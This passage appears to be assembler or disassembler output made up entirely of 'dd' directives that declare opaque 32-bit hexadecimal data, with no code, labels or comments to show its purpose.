26B05F7Ah, 3B440820h, 0E3A5C301h dd 1AD711C2h, 3155FA78h, 0EEB93BC3h, 44A9921Ah, 0E8C14D80h dd 0C8311208h, 0A42CA850h, 8B0A1CEAh, 0AA05E87h, 0F028AE2Ch dd 44CCD2F7h, 0EC3C6825h, 454AA1h, 3D80B905h, 0C126224Bh dd 0BA39F0E1h, 2CE51DBCh, 0AF7C981h, 78AD5A21h, 0E9E0CACBh dd 41307920h, 6E2C181Eh, 19F0FA0h, 0B3C459CDh, 5C4FBE10h dd 0C45505FEh, 61C049C9h, 891126AFh, 0BDD9259Dh, 161698A4h dd 4B7852F2h, 33E78395h, 4059B52Dh, 1EDBF709h, 5FE2CB81h dd 60F0FECEh, 0E5BF1A4Fh, 401F6071h, 513FA21h, 4F76BCA9h dd 0BD4480A0h, 0C827684Ah, 0A0CBD85Dh, 1A5B0390h, 9629301Ah dd 0F39CDF6h, 6278236Bh, 0D7428CE9h, 88ECC39Ah, 8319E927h dd 0E25A662Dh, 0AFB9C11Fh, 0C75C9804h, 35B2BAF8h, 5A4C9EF6h dd 94242D9Dh, 9AEA9EBCh, 0A720C455h, 0C16EF5BBh, 169B2250h dd 0BA947F13h, 4C31D7E0h, 125F02C2h, 90EAB99Ah, 0F6499756h dd 24FAD047h, 0CFDF2Ch, 0C0DDF667h, 807302EDh, 4F4107Dh dd 0E828E21Dh, 20F176BAh, 16F6F8DEh, 5C98F4C9h, 0C9A024F9h dd 827B04Ch, 0A7CCFB34h, 0DE02CE78h, 0E9FF57BAh, 7F3DE41Bh dd 981F7CC2h, 0A7682788h, 0C8F0FAE4h, 218C8796h, 49755F18h dd 0F60347DEh, 118B5F9Bh, 88AB9DD9h, 8A33F32Bh, 427F0595h dd 0BE00C74Fh, 905E6502h, 2D599054h, 0FD5907F5h, 8A135649h dd 45564F1h, 0C12B6215h, 3BC85923h, 7368E8Ch, 1A62331h dd 0FE7BF2EFh, 0F4E4E5Ch, 0CC0644F0h, 5EAD38BBh, 0EDD5449Fh dd 738BA8A5h, 4D9C009h, 0C13668C9h, 0C569CAA4h, 4B4109ABh dd 2DBBDA53h, 0A5AB53EFh, 0E9854DD3h, 41BC42CCh, 0E2F166CBh dd 49678E1Ah, 6B6858ACh, 0A165ECD3h, 0D654ACE9h, 0B4180EEAh dd 8A030F9Bh, 363711DCh, 0A50E0047h, 1694951h, 2A4AE9F9h dd 7929AD84h, 685600D2h, 9D9167F9h, 2DF75469h, 51429673h dd 312911B9h, 0BECA3F58h, 57E35C30h, 4DE0F8BFh, 701304Fh dd 0F05D70E7h, 2E51B31h, 89D8B0D9h, 475F5CF9h, 6C79DC27h dd 0D1315C03h, 59CF985Ah, 60DAB957h, 3A5F35Fh, 0E9386209h dd 300DAAFCh, 0B2251B03h, 0EC0C3B1Fh, 15F8807h, 1AEAE5F2h dd 14090C08h, 0B8CE6D88h, 0F536D02Fh, 525C10EDh, 7DB30453h dd 855BDE88h, 491A5D9Dh, 0D892A39Ah, 511A94C0h, 0CE9448C1h dd 3020AEE5h, 2C5C8052h, 19187EC4h, 73C2C0D0h, 2529883h dd 0C3545F7h, 0F4DE8938h, 29B9C600h, 35E92116h, 0BC65C80Fh dd 0C744972Fh, 0B589188Dh, 0EE6BF369h, 9D96FF4Ah, 0A340E912h dd 7F82C437h, 643A77BCh, 0E6072FDFh, 6630311h, 0C6587EF6h dd 430C2A69h dd 181B4072h, 0F76190B9h, 9693862Eh, 0C6E14E41h, 221F9482h dd 16DC553Ch, 17B22B08h, 0F866F084h, 0CC3A244h, 1E882CD4h dd 5A12F30Ch, 43F12D72h, 0D64BD05Fh, 5CA00CC4h, 0EF327699h dd 0BC5DE78h, 0EA207C50h, 435B4866h, 19F9D12Dh, 3316A6A4h dd 0C2B489ECh, 3D90223h, 28D3E9E1h, 58E31F8Ch, 78B13E58h dd 741B1609h, 6402642Ah, 0C80591A6h, 0C9276859h, 0E402F640h dd 0EE345ACFh, 0A71C3DFAh, 0D1EA2197h, 0D1192B8Eh, 2E3EFD54h dd 67ECD016h, 332201F2h, 29702B39h, 6AC23655h, 9DEDCAC0h dd 30EC173Eh, 0BB598558h, 6DE9F620h, 6F8294C0h, 0F0B597DEh dd 39915413h, 0C216F469h, 600E507Bh, 0A02C61B0h, 0C0C35828h dd 6EA9ECB5h, 80BABC1Ch, 50EEB652h, 34E9ACB4h, 0EBD12CBBh dd 41B7F752h, 0ACBBB416h, 0D80AD2D3h, 0C069AC2Ah, 2D1E4838h dd 0E2D23F1Ch, 9033AF20h, 31720568h, 81B976FBh, 30DE51B1h dd 0C14A5FBAh, 0E650260Ah, 0D0B0C8A5h, 79058144h, 0AA8C4A6Bh dd 5236B950h, 0B85162ABh, 1A16B88h, 0D761C5BFh, 8516307Fh dd 5F4E4778h, 194BA3F0h, 0C532027h, 0B2EF450h, 0A4091590h dd 90392367h, 69BAEE29h, 4AE30420h, 8428E25Ch, 52162E04h dd 69A1913Dh, 5E0500CBh, 22C92553h, 57415A64h, 50B47742h dd 0E6D13778h, 0AC32A55Dh, 81430157h, 702326E3h, 80F3B3C7h dd 9D859D93h, 0E074F804h, 921EBB61h, 163DCB51h, 87E30A66h dd 0A8442C2Fh, 0E7023A9Ch, 4001DA0Fh, 2564056Dh, 0C5E82B65h dd 4BBC3AE9h, 954E1625h, 682521CCh, 0D7C5C2E0h, 0F24CAF94h dd 0BE4D2465h, 2D0C81BEh, 0F789765Ah, 0BCB5DEF0h, 7BCE8294h dd 9761B002h, 50AA7456h, 3CC85348h, 2EA0D9A7h, 52109BCAh dd 8D10575Ch, 435E251Bh, 0B850F060h, 0D5340360h, 0AA5BA74h dd 0C201F7D8h, 4A34EC95h, 549882E2h, 0D32196DFh, 5E3D0A2Dh dd 0DD9A4308h, 8FB1361Fh, 0EEC7C3C9h, 84681602h, 26C8B36Ah dd 5DAC0C51h, 13C680C0h, 289E2E2Ch, 0FAA03AD3h, 35A0EDEBh dd 33633123h, 0E5919228h, 0C93F0865h, 685F8556h, 91EC17B8h dd 0A2CE29C4h, 20D8500Ah, 9B83C999h, 2038D30Eh, 1241DEAh dd 274451DDh, 0A64F84E8h, 2CEE7142h, 0E877FB70h, 80FDDBE9h dd 0E0E94EEEh, 43967FD4h, 902F4C5Ch, 0CBBD4C8Ah, 6BA330E4h dd 0B3EEB756h, 55BA34F6h, 0EB835E12h, 0A492C3BDh, 3BE5F5BBh dd 16A55A8Dh, 54D86A71h, 0B9F3B85Dh, 11F5928Eh, 81019F52h dd 736613C1h, 0ED1F2F63h, 0E8B06089h, 252198AEh, 98421F51h dd 63651E40h, 0A43F2D3Ch, 0BC0955CFh, 97124437h, 76C01C1Ah dd 71F277B7h, 0AE6AE925h, 2709C234h, 0C269E2B3h, 0E656D0EAh dd 0E100BDE8h, 81622B3Ah, 410BF571h, 0D8452AECh, 4F350441h dd 0F16EE911h, 809A2904h, 506445EBh, 0F6859720h, 93081FC3h dd 22682503h, 47F84402h, 4E8F5F2Dh, 7C30F3D7h, 0CC9E4BBAh dd 682753FAh, 0C2AE0918h, 5DA41A23h, 0F5DF5031h, 1A137ABDh dd 86179F8Ah, 0FDDA27A1h, 0C1843127h, 29BF0520h, 96AB00B3h dd 42121833h, 2CE0EFC1h, 860C05E1h, 65FE2910h, 97A82485h dd 82CE355Ch, 4790DEEAh, 0E52456C9h, 2E00000Eh, 0E905B2F5h dd 2D8BB4F2h, 0E56FF159h, 9956E3B6h, 0E4120512h, 351CC654h dd 73074A06h, 71E54F25h, 0C683B191h, 0A7D44956h, 91E9059Fh dd 0B74AE414h, 949DD8E0h, 0A9E91B65h, 0ABEDC7E7h, 0D2A83464h dd 0A54DA893h, 0F4CBCB22h, 1BD127CBh, 0DDCF0249h, 3DD7FA07h dd 7D3B3E26h, 0D6B7504Eh, 29156017h, 0FB853A5Ah, 4E3BF688h dd 0B2187756h, 0D5C8C257h, 54C3947h, 6C8F18A6h, 0C64E791Fh dd 289D820Bh, 5B1A16BDh, 5A8009CDh, 0DF4913BAh, 0C13B8765h dd 0AA8407EEh, 21CF28EFh, 84DEEB58h, 680DF4CCh, 3028C11Dh dd 919C8A17h, 0E1E58040h, 0D2AEB866h, 301B04A2h, 5E5303F7h dd 5561C15Bh, 4F302B35h, 0A1560FC2h, 0CFA4480Bh, 49ADD6h dd 0BD75C709h, 945DE801h, 0A1C313B6h, 0A4242CAEh, 91D780B8h dd 93D24034h, 16BD5C2Eh, 5867548Ch, 815235BCh, 6C713A9Ah dd 8FC880C6h, 0B0728874h, 0CD2A4E4Ah, 0F7EFE431h, 96E82CB6h dd 850BE5A7h, 8D197568h, 7C052146h, 2686D099h, 2000683Ah dd 6958AC05h, 2E35001Eh, 0E963CC70h, 189D0F9Fh, 19A0EFC9h dd 0D47E8632h, 4E929B5h, 4E946B40h, 82C429C6h, 0F7C54008h dd 716CC2EBh, 4D4A2868h, 27D3C90Fh, 3641E1BEh, 3AA52137h dd 802C3F9Ch, 89CA6056h, 6B0984C0h, 2C817949h, 3D0A0952h dd 68BF4A9Eh, 823AA596h, 562D0B77h, 7A10C2Ah, 5407C287h dd 5749527Ah, 4EF5D0C3h, 826C87DCh, 50D1EDA3h, 0A337962Eh dd 17BA92E4h, 963BED67h, 5620A8F8h, 0A18AD58h, 9D3779F5h dd 9936340Bh, 4E453D8h, 62FC943Dh, 400BB693h, 80E8BB6Bh dd 1CD25658h, 0F12997C0h, 0C8312D5Eh, 0CF48F1h, 9B2708EAh dd 0F5E0C113h, 7F76DF02h, 0B8037ECAh, 56FF41AAh, 0E0D68C25h dd 0F7D1F79Fh, 0CCE8C66Ah, 12744E9Fh, 8E033668h, 0D9B24B3Ch dd 62AFB3D6h, 0E86DE90Dh, 59E1C1BBh, 3404F205h, 0C7890CBBh dd 0DD609E58h, 68551152h, 5B73DB2Ah, 1822C9A0h, 0F267A2Ch dd 1995209Ch, 0FE60626h, 0F2CB5811h, 6F1B16F1h, 0C8E80923h dd 85A00746h, 0B72F6342h, 1665F057h, 0CB31E7E9h, 0B3E25E78h dd 43B1597Dh, 0B029E893h, 2447C4BBh, 105B6C19h, 50125827h dd 754896B6h, 7C3C0280h, 0E1523B61h, 417ACF53h, 0E00EFC05h dd 6E67ED2Dh, 0F0FDC992h, 69D2F4A5h, 5EFC15FBh, 2D6779BDh dd 51878879h, 0E2903A95h, 9555575Fh, 22AD0945h, 20E39893h dd 1D387172h, 0F7DE870Dh, 0B70708DBh, 1B965BB1h, 49E9D9E8h dd 4D4C52D1h, 50B15187h, 0FE8DB753h, 0FCE9C715h, 0B7312B90h dd 5E2D7A6h, 0ED1B445Dh, 5E08D32Eh, 0FC2394EFh, 0B80B9E2Fh dd 69D9D9FBh, 0E92F48D0h, 545109F3h, 0ED454B6Bh, 5CAF6AA5h dd 4AE96221h, 2C056B58h, 0E3686677h, 5006BC04h, 165C5CA4h dd 0EC4CC198h, 64028834h, 4BAC8B59h, 3AAC9665h, 5C68E909h dd 0DAEE6964h, 1CD674Ah, 957BF8EAh, 5D92A3C5h, 74592900h dd 904B40D9h, 33F50C90h, 0F9A441BEh, 1DFF773Bh, 0C4ADD9E9h dd 41F88AD1h, 133EC36Dh, 1043F24Fh, 0B65E999Bh, 402085C2h dd 845B27EFh, 0DE13EF58h, 2B8411BDh, 545700C3h, 9BA525Fh dd 738B3450h, 13974580h, 0CC2694Bh, 60142160h, 1F3CF245h dd 1F707737h, 0DB4804CAh, 77FCF87Bh, 0FFDFC813h, 0CF5BE0ACh dd 0E6E912DAh, 22BB4781h, 3E07C9C4h, 5A30DF31h, 0EB875BB7h dd 476FFDE4h, 0D224A906h, 80C61F39h, 0A8F293F1h, 8FA24AC3h dd 685B5405h, 5E0EA89Dh, 9D01ADDCh, 0F324DA9h, 938E4555h dd 66DE449Fh, 0E289F421h, 9289840h, 87C680CEh, 0E024EF7Ah dd 0B760EAF3h, 27B450EBh, 56C33054h, 0B87021DEh, 53923E91h dd 0A463F509h, 62BF58D2h, 6441D50Dh, 0D6DC6A31h, 0EFF544D6h dd 0C422CC0Bh, 3B4C5606h, 0E92EDD84h, 0FB7F95E3h, 0E25C5133h dd 81605E69h, 1C434FF3h, 0DA3F2066h, 7A277618h, 6303700Ch dd 49C352BFh, 2177F40Eh, 0D817A9DDh, 24BCBEDBh, 89C11A3Ch dd 540F7E70h, 0EB034A70h, 68AEFC44h, 4CE9040Ch, 3A92C8C5h dd 7BAA7D39h, 76BE5C20h, 0AD4495Ah, 0DE1B3325h, 0A1D430DAh dd 26179A68h, 9FA198E8h, 0F5178111h, 2A150A96h, 257C177Eh dd 6D161EDFh, 0EB319183h, 0EC20DC96h, 0B23C93A4h, 103557Ah dd 1660E0D0h, 454A4E28h dd 40ABE9EBh, 9EB5BAD8h, 133DFE7h, 58611AD6h, 5D506B8Dh dd 7F59810Bh, 0FEC2DD37h, 32D6DA1Ah, 4584A5AAh, 55A235E1h dd 994E50B6h, 0EB112104h, 89A1BC44h, 16745A5Bh, 0A3748368h dd 6F882E2Eh, 0E065597h, 9D50843h, 99ED80C5h, 2805EAE6h dd 0DA1FE9E8h, 0C97D4BEBh, 0F501F5C0h, 0DDD75E5Bh, 5A0928C4h dd 0EFB55D00h, 54F8EB88h, 7A35EC5Ah, 0ABD98A1Fh, 4430686Ah dd 2CAC800Ah, 0C70EF72h, 9FB0D87Dh, 7BDFB489h, 6AB91C4Bh dd 925356FFh, 2C26C3F1h, 34D0F6A0h, 0C5880505h, 0DE092858h dd 0B39578E2h, 15B02251h, 8B2B1368h, 0BB14EC84h, 2D68D028h dd 0AC66BD9h, 8AC41948h, 3737DFF7h, 96E1C3h, 944FB98Ch dd 0CA29C70Eh, 4ED75948h, 9F126CF2h, 0E9DF987Ch, 4F88255Bh dd 5E4C1638h, 0B3B8AC1Ah, 896331B0h, 760B09C3h, 1B7100F9h dd 0D0F73A16h, 8ABE0456h, 0AFC5E9E4h, 714C714h, 12FF22D3h dd 9AE2AB2h, 263138A0h, 87F87980h, 0B7A3BC4Bh, 86355C14h dd 54170318h, 0CA4C1AE2h, 12E600E7h, 872CA53Dh, 0C7C8B8CEh dd 0F9D5E908h, 49ADBDD6h, 91CC9974h, 4408901Dh, 27EC4BDh dd 507DB21Fh, 7CE1B712h, 34CC392Fh, 225DE9C7h, 6EE34A3Fh dd 0BE0C87C4h, 0E5225C31h, 529707Ah, 3505231Ah, 2DF8014Ah dd 70410713h, 77D92CDBh, 2EB15E60h, 953C02Eh, 46540C1Ch dd 6429E0EBh, 5E929FF8h, 68E141F6h, 9A7C7B98h, 0BEAD8C4h dd 0DEF88354h, 14292457h, 0F37BA50Ch, 0FC432432h, 0BD94278Ah dd 2A40B5FCh, 0E7F33880h, 2470AA5Ch, 0EC259EBh, 65D72855h dd 0A929FBD3h, 0E9C25178h, 0C676A42Fh, 70526793h, 0B2951204h dd 0C0B0CFD1h, 4B6F4D60h, 36CE3D30h, 0B4F9622Dh, 543C62C4h dd 65DB2718h, 0FCA0DF92h, 2CE701BEh, 0C1684D27h, 3C282F2Fh dd 262927E9h, 3E412FBAh, 3817A61Fh, 0CA0F4B8Eh, 781E0879h dd 0E9107B41h, 0DD7F467Fh, 210F30FDh, 150530Fh, 8A81CC1h dd 0D6ACC3A5h, 11D0215h, 578E010Eh, 9EA2D929h, 1268E69Ah dd 5E021BBh, 0EB19FF5Bh, 4B58012Dh, 3CFA5D01h, 5C8BF443h dd 3E568B61h, 6627D3CEh, 0FD0912F1h, 80251A19h, 8B2D036Ah dd 0D2DCA00Dh, 831AB6DAh, 6B262534h, 2D06C3Eh, 0E95794D9h dd 0AA07A16h, 5A2AA0E6h, 0E2EE0782h, 0F3F29C08h, 0D262C6A0h dd 0E119AF9Fh, 2C9C0BD7h, 97505921h, 246B64BFh, 252D15B6h dd 0E5318784h, 326E824h, 61E7C180h, 0BB78AB04h, 2D83FB75h dd 3DEEFF7Eh, 3BF3952h, 7A894631h, 3FF0E155h, 0A0DAC534h dd 2D7C86ADh, 52426C52h, 794B4F59h, 0C8BE096Dh, 6B40DF42h dd 2001649Ch, 0B8CE812Fh, 4E607022h, 4BDC5FB7h, 56FBEDA6h dd 54329589h, 0A27EE933h, 141EDF5Ah, 0CCBE9BB0h, 7AECAD1Fh dd 6606273Ah, 4F1B27F0h, 0D45E3CA5h, 7BC1F34Ch, 79C5014Ah dd 0E982CBB7h, 227D520Bh, 444145D5h, 94BDFA39h, 685E0208h dd 0EFC3C6Fh, 5455D562h, 32250273h, 73D07CC9h, 735D0781h dd 0A8022577h, 850CD871h, 13F78737h, 1EFFDFBh, 0EC6EAFBCh dd 83E9017Ah, 0FAB0912Bh, 0E4A42A5Fh, 0D7C35AD6h, 92451F39h dd 0BDB1000Eh, 0E9023261h, 0C0131E5Eh, 475B8DE2h, 26D531AFh dd 9A208EAh, 0B4060809h, 0C7059146h, 0CF34123h, 304A4DA3h dd 68F9F73Fh, 0D4275B2Ch, 2FD9E66Bh, 0FF9AE6E9h, 7FF2E380h dd 60C136FCh, 251977ACh, 0FEEFD8h, 0F74D481Eh, 0C13CE9DFh dd 0A3D3E997h, 32FFBC54h, 63525C82h, 35565360h, 7131D464h dd 0C292924Fh, 0B35E4760h, 452CBA86h, 26909683h, 42580CE0h dd 1DB02F4h, 54296475h, 6B81C9D1h, 0F76B27F3h, 7619F2B0h dd 240E93Eh, 1E15A6E2h, 62B78078h, 0FC97FDEEh, 9200BD61h dd 72E56866h, 0BD5AC1F2h, 41BCEAD6h, 31296033h, 0A0B5791h dd 0BA9A9830h, 292B053Fh, 80D2F70Dh, 5A78F939h, 0E2C1530Ch dd 761206h, 837F0834h, 685701C2h, 0AF22AC17h, 41D31A0Bh dd 6D7040F3h, 0A9CE0B05h, 8FF48244h, 0FD126A24h, 547C63ABh dd 0E69A4DAh, 0B5BB385Ch, 0A0B156F8h, 5ACE64C6h, 0B9515601h dd 0E8F38C0h, 2423C30h, 890A1CEFh, 0C755BDEh, 9B2438h dd 0C169A95Dh, 0D9F708E1h, 66050CB0h, 21418031h, 0D4B28AC1h dd 0F65E5B92h, 2DEE207Bh, 0EEC4C727h, 916BBBF0h, 89DE5E10h dd 0EC689BFAh, 0E17B4CA9h, 72C7013Ch, 0F7E908A0h, 9DF6E24Eh dd 14D2590Bh, 55910C26h, 19DB6812h, 2CF9FECh, 0D873380Eh dd 49521FE2h, 0D2D74FA0h, 57E1CDB4h, 928BC06Ah, 742F986Ch dd 979A9629h, 12001942h, 9559772Dh, 9A1E1E7Ah, 0A22F1F46h dd 5D384F0Ah, 50D3A714h, 40744898h, 0E01F2CCFh, 6F7AE828h dd 2D7BDE6h, 24686B88h, 0C041452Dh, 0DD37F36h, 96096F90h dd 0F0CFE5Ah, 5C21803Ch, 9D23E96Ch, 4B7134C2h, 961784ACh dd 0D2D24F54h, 90E8FAD1h, 70EC1AA6h, 6209315Eh, 50BEE92Eh dd 2F5F5847h, 3616110Ch, 591FEE0Ch, 0E90B7613h, 979478E4h dd 3780D487h, 0E0C33301h, 2BA034F1h, 0B9E4CCCDh, 9C6B94E3h dd 4F4ACBD4h, 0BCC41285h, 40AD9390h, 0D2EAE392h, 82CB23BAh dd 40C7CD48h, 7A09A48Ch, 45F4680h, 27E502C9h, 697F84C2h dd 66565159h, 0DE0D69B4h, 6D694999h, 0AE8B6F34h, 0DC6AE90Ch dd 0CBBEE6BDh, 0D4C68160h, 39D091Ah, 7DC02DE9h, 0F8EEDBF7h dd 1250A6Fh, 5908D71Dh, 0C1F0042Eh, 0CE2BC0E6h, 38243FF2h dd 53375645h, 87F32901h, 0E7AE221h, 3F22EED9h, 0C611C539h dd 3F7E3229h, 563F48ACh, 88ED076h, 77DB024Fh, 43C0E258h dd 3E24E7C3h, 0DF0B4655h, 0F5B7113Bh, 9151102Ch, 4A0BAE60h dd 9886C9F2h, 0B0108F6Ch, 31629783h, 0C3EB0084h, 8CBDA5B8h dd 77DB142h, 811CF139h, 0E9D074C1h, 28EDB050h, 0CBCC58E1h dd 4CA69D59h, 66620640h, 55C0E422h, 298A0763h, 963DB445h dd 0C28A06FEh, 0DD0C7927h, 283A3A6Eh, 0F5EBFBF9h, 40AE240Fh dd 976BCDB8h, 0F42972D1h, 4129A7Ah, 7C3230BDh, 9288C43Dh dd 20440827h, 0F7FB8EF1h, 0A097E9D7h, 5AE768F2h, 5B343DF1h dd 1709AE98h, 0CC201985h, 835C4E74h, 51B14766h, 71C6992h dd 341725BBh, 0D77F0B30h, 162D7910h, 0E04BE94Ch, 0EF0235C3h dd 8948AF14h, 52ECE8C5h, 6C902863h, 98DAC0E8h, 0F678E933h dd 0C34CC992h, 9F188653h, 813C98EDh, 8665FBE7h, 28D4316Bh dd 0F4B12BCCh, 0D3CDE431h, 5AB6C22Eh, 0EA571255h, 34155DFh dd 7B5902E1h, 0F1210A3Dh, 0BE263E3Dh, 1463404Eh, 8928CD96h dd 0E69DA3FBh, 31CC9FA6h, 16024227h, 3E7DD42Ah, 6A2A925h dd 84FD65E1h, 47F192B2h, 0AE2A342Eh, 50A90562h, 53581221h dd 964CAD54h, 0DA89CEB9h, 0BD046C50h, 7F1E28ECh, 0DE5829ECh dd 0F7450505h, 9AC207D5h, 0C26D606h, 4D2FB2E0h, 0FB64E0E0h dd 49A4DD95h, 0D548E31h, 7F027881h, 0B927335h, 2D09EF01h dd 0BDAF2046h, 24AE67B6h, 20EC836Ah, 984D098Ch, 0E3009551h dd 6FD7045Ah, 42E5EB92h, 0D5E5D08h, 0DA450069h, 937A3776h dd 45A79699h, 0A9B36816h, 0DAEF10B9h, 0F24C944Ch, 0DB3E8401h dd 83DDF762h, 83CEF80h, 0C0104B5Fh, 0D301922Ah, 8DA1034Ah dd 81A5FF19h, 0D452D871h, 0AF51C90Dh, 92D9E78Bh, 92D48206h dd 5144C8Dh, 8C17B9CFh, 0A2B19C5Fh, 0E8C7A060h, 62355Dh dd 57AD53Ah, 5F026770h, 0FC3DE5EBh, 0EB792D03h, 16E2004h dd 29EB58C3h, 0DEC9A02Eh, 70B6BC40h, 72E64C55h, 0F6A2EE07h dd 0B8615ED6h, 819C16E9h dd 37B02D24h, 9DE866FEh, 0C997B44Dh, 0FA96C853h, 0E8304344h dd 0E6FBEC3h, 3EEC011h, 0FE07E661h, 687093C6h, 167ADAACh dd 5775E90Fh, 0CEFEB8BAh, 6616AB68h, 0FC4A260Bh, 9AF18B83h dd 0A7B53B06h, 9D5CC479h, 1FC648Fh, 5EEBCBBAh, 0A05BE3DEh dd 4A5A681Eh, 0F1E90306h, 0D3F7016Fh, 0C981D987h, 3349C013h dd 99DCFCEDh, 31B7C112h, 3EEB4FA0h, 67056E4Dh, 0AD8EBAE9h dd 5208D297h, 8C6AAFA3h, 0B7304E57h, 254CEA6Bh, 0D6772C55h dd 7DB65244h, 593BBF1Bh, 230EBEA8h, 1DC01358h, 79D372BCh dd 2DA7B0h, 68C74E5Ah, 0ADE95057h, 0BB5B3E92h, 0BCBC4057h dd 0CB5B0816h, 8C3C1074h, 4777680Bh, 45CF1056h, 2DAF186Dh dd 15E4407Eh, 18187262h, 0C3FCDE01h, 7F4E95A9h, 105E0598h dd 6357C8C2h, 0CF1921Bh, 0D241390Ch, 0B89BC43Bh, 0F3BDD2ADh dd 97565125h, 0B132F7F2h, 0AB52AE76h, 89E9FE2Ch, 948AD1F7h dd 0F8824BBBh, 5CDAB164h, 0A0D6009h, 59DA0067h, 1E15EB5Ch dd 4107E7C1h, 795287EFh, 48807B5Eh, 96B8E4E9h, 29686286h dd 0F16A25D4h, 0AC05A610h, 0C037B353h, 9042837h, 5AA12FFDh dd 613754FEh, 895AD329h, 0CC665CC5h, 6C01E589h, 801F28D6h dd 1D0685C2h, 0F316B73Ah, 538F1027h, 0A95AC00h, 0CBF62268h dd 68125D94h, 0CF67585Ah, 0E3FC0A24h, 0B30F66C2h, 182B31E4h dd 521E868Bh, 64992B89h, 685700B5h, 77CB3269h, 0E93B535Fh dd 0C6DE3F2h, 40B37435h, 0DE65F7F0h, 1B80D104h, 1D63D7F6h dd 0FC46670Dh, 941F5285h, 0C714EB2Fh, 96F94A10h, 2B5F0C69h dd 0BB5904A2h, 412401A3h, 0B6F6A572h, 8180D92Fh, 0E6E2D474h dd 0B6722E29h, 1D2D77EAh, 29D03A0Ch, 95D8CAE9h, 0FA709822h dd 1A2BA348h, 0E4F44D8Bh, 997174Dh, 0CD455DD3h, 0FFA83292h dd 0D4F3775Ah, 0C110A14Dh, 98047EF8h, 0C2B203E4h, 0DA02212Fh dd 0E521F22Fh, 4DF85339h, 1C319045h, 0AF934E2Eh, 8912BE50h dd 0E9B85DEAh, 76533B7Ch, 4BFDCA04h, 0C5DF43Fh, 32B84C7Ch dd 9A6A6500h, 9DC90541h, 852C5077h, 911417CEh, 0E9080561h dd 3054D206h, 0F200944h, 0DE89258Ah, 1C2B576h, 0D84242F3h dd 0A3BA7D51h, 5EF6D374h, 28658B14h, 0E2202D01h, 3529A089h dd 0B33DC937h, 0F205845Ah, 69C459D8h, 0AA15C2h, 0AE4C63B8h dd 28050B02h, 0F4220476h, 295A04D8h, 96028060h, 1A2A9B3Dh dd 2305CDD1h, 21E069F7h, 0E9BD47FFh, 0E75C6EFFh, 126DD9F9h dd 16BC8E2Ah, 31A3DB6Eh, 0BC54B79h, 0F9585104h, 0A665BD0Bh dd 45D25C1Dh, 168DE885h, 0D2B7896Bh, 67F50476h, 8220C01Eh dd 0BD00B4B4h, 603ABE7Dh, 357523Eh, 2D044D76h, 1FAD6C25h dd 3517CCE8h, 0C597ECD7h, 695EEC52h, 6B49D813h, 3FF0C958h dd 4F8DD048h, 602920Bh, 6267C540h, 2AE75C48h, 292FB51Ch dd 69FFF1D7h, 0E8C3B3F4h, 0F1CB000Eh, 0D3BA57BBh, 97D4CA89h dd 4F22D66h, 0A0985E72h, 6B7309BDh, 0A07F6139h, 2DE2ED1Ah dd 4D630459h, 0BEA796E9h, 0E0304727h, 0C166CF51h, 0AB282F0Ch dd 2E9322Eh, 0CD9036C7h, 184157AEh, 22D64152h, 0D6439D9Eh dd 0C11E27CCh, 14149FE8h, 0E91923E8h, 5032E025h, 41F3AE30h dd 13C06F36h, 3E7FF02Dh, 4BFF03FBh, 2B4FC9F1h, 68178CB3h dd 0C2E8A8F8h, 5765E954h, 0D6252D65h, 98458B1Bh, 0D2F507E8h dd 3A5C5C90h, 3BEE2C8Dh, 0BD00C910h, 6D112F9Ch, 0DD7DF74Dh dd 9C09E14Ah, 0BF67F268h, 48750C62h, 27F22979h, 0A3D27AE9h dd 0CF27D777h, 4ADEC4BEh, 1F7DF4FEh, 0F5208841h, 0ADDC6022h dd 0E70B8EEh, 62010227h, 1C080C7Bh, 7EEB90D3h, 0D8CE681Dh dd 0E591A08h, 5B5F6BF2h, 0D0E9BE20h, 202DB38Eh, 0BF420B2h dd 250BCB98h, 0F8728671h, 5662086h, 80CBFE0Ah, 0D80DFAF3h dd 0B03A4A5Bh, 6CF872Ah, 8EC3E742h, 0BA08720Eh, 8E62403h dd 582DD83Bh, 15682F23h, 8D400D8Ch, 5784BAB7h, 0CDE59D8Bh dd 720C52Dh, 5CA4E95Ch, 0EB0BD112h, 804BD3F7h, 28236E61h dd 0D0094856h, 0E981242Fh, 3126EDBAh, 3497E9BCh, 0C5723196h dd 0D5F7E802h, 0D4585550h, 565D625Fh, 7BA6DCE8h, 43E19AB7h dd 8A104A0Bh, 2EB5461Eh, 46A74435h, 0D5929FCDh, 4A44F962h dd 9AF8EB2Eh, 0AC6CA740h, 0D7F72E77h, 61C6059Ch, 1E5282E1h dd 66BD6148h, 28067F16h, 0DB60B08h, 0E8E99E68h, 0B9A8945Ch dd 2D0E04E8h, 12588445h, 19ADFC70h, 6E0B5853h, 0FD4F3309h dd 722ED60h, 2E28927h, 0DAEE7162h, 0AF3C48CCh, 0CD4A4284h dd 6AE1E0D2h, 1EEB7DC5h, 2EE929BFh, 888BB4A2h, 405D2BC2h dd 0B49BE9B4h, 35580090h, 8302168h, 6D204D90h, 5A662514h dd 484CB0DAh, 50D120B3h, 12A19A5Eh, 87DCF15h, 0D24BD36Fh dd 89E45BABh, 270DE0A9h, 0F10064BFh, 0CEC378D2h, 0B95381F0h dd 2C8B1771h, 0AFB43EFCh, 2FC8C435h, 0BF787EE9h, 68150544h dd 308A3E92h, 5266836Eh, 28B31BB2h, 5EEAD0D3h, 0EEC02448h dd 392104BDh, 6C0181A9h, 2952615Ch, 44061C3h, 0E958B008h dd 0E744DC2Fh, 65B825ACh, 0E39A90E9h, 0F4F72932h, 0A7F9D46Dh dd 8BF52580h, 0E095E74Ah, 2DFEBC47h, 7E5033F2h, 46BBFD2Fh dd 468C2ECAh, 68566095h, 62E02AC2h, 6A015E25h, 0CA6242F1h dd 6B49D6DDh, 0E9D0C87Ch, 4BBB216h, 0F910A105h, 0C8C0EA7Dh dd 342FC2Dh, 0C6019427h, 942F5058h, 0A85C4BFh, 3F447906h dd 0E77C009Bh, 0DD89DE48h, 0BEDA5B60h, 90749926h, 0AD80B6Eh dd 0D9F81F35h, 9497D0E6h, 0EA0CB5D8h, 0DF4B9866h, 26B290C8h dd 87D852A8h, 63EA865Ah, 26A730CDh, 0D89708D5h, 0C28009C7h dd 0C703040Bh, 0C2A42CD0h, 0FFDAEDFAh, 1DB604D8h, 79B23F13h dd 0AD4946A4h, 0D55D7840h, 16B7BF80h, 14D1022h, 246808B0h dd 80965119h, 55640293h, 85013502h, 1E13BC08h, 4EBE6E40h dd 0A314451Dh, 76B9E79Ch, 5CEE2FA1h, 49F224B5h, 1CB38494h dd 37B7BB00h, 0CB81156Eh, 0BD0A8224h, 0B67D1639h, 0FE562262h dd 0AF0393D8h, 1A6E3320h, 9D5E20h, 57BD556Dh, 